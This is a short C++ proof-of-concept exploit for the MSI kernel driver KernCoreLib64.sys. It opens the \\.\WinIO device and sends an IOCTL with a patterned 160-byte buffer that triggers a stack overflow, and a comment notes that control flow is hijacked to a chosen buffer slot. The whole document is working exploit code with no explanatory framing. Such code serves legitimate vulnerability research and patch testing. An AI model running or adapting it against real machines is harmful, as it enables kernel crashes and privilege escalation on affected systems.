MSI KernCoreLib64.sys PoC

Source.cpp

#include <Windows.h>
#include <stdio.h>

#define GLE( x ) { printf("%s failed with error: %d\n", x , GetLastError()); }
#define IOCTL_TRIGGER_OVERFLOW 0x80102040

DWORD64 genPattern(BYTE b) {
	DWORD64 retVal = b;
	retVal |= retVal << 8;
	retVal |= retVal << 16;
	retVal |= retVal << 32;
	return retVal;
}

int main() {
	DWORD dwBytesReturned = 0;
	DWORD64 dummy = 0;
	DWORD64 overflow[20];

	for (int i = 0; i < 20; i++) {
		overflow[i] = genPattern('A' + i);
		// control flow hijacked with return to overflow[5]
	}

	const char* strDevName = R"(\\.\WinIO)";

	puts("Opening device");
	HANDLE hDevice = CreateFileA(strDevName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if (hDevice == (HANDLE)0 || hDevice == INVALID_HANDLE_VALUE) {
		GLE("CreateFileA");
		return -1;
	}

	NTSTATUS status = DeviceIoControl(
		hDevice,
		IOCTL_TRIGGER_OVERFLOW,
		&overflow[0],
		sizeof(DWORD64) * 20,
		&dummy,
		sizeof(dummy),
		&dwBytesReturned,
		NULL
	);

	return 0;
}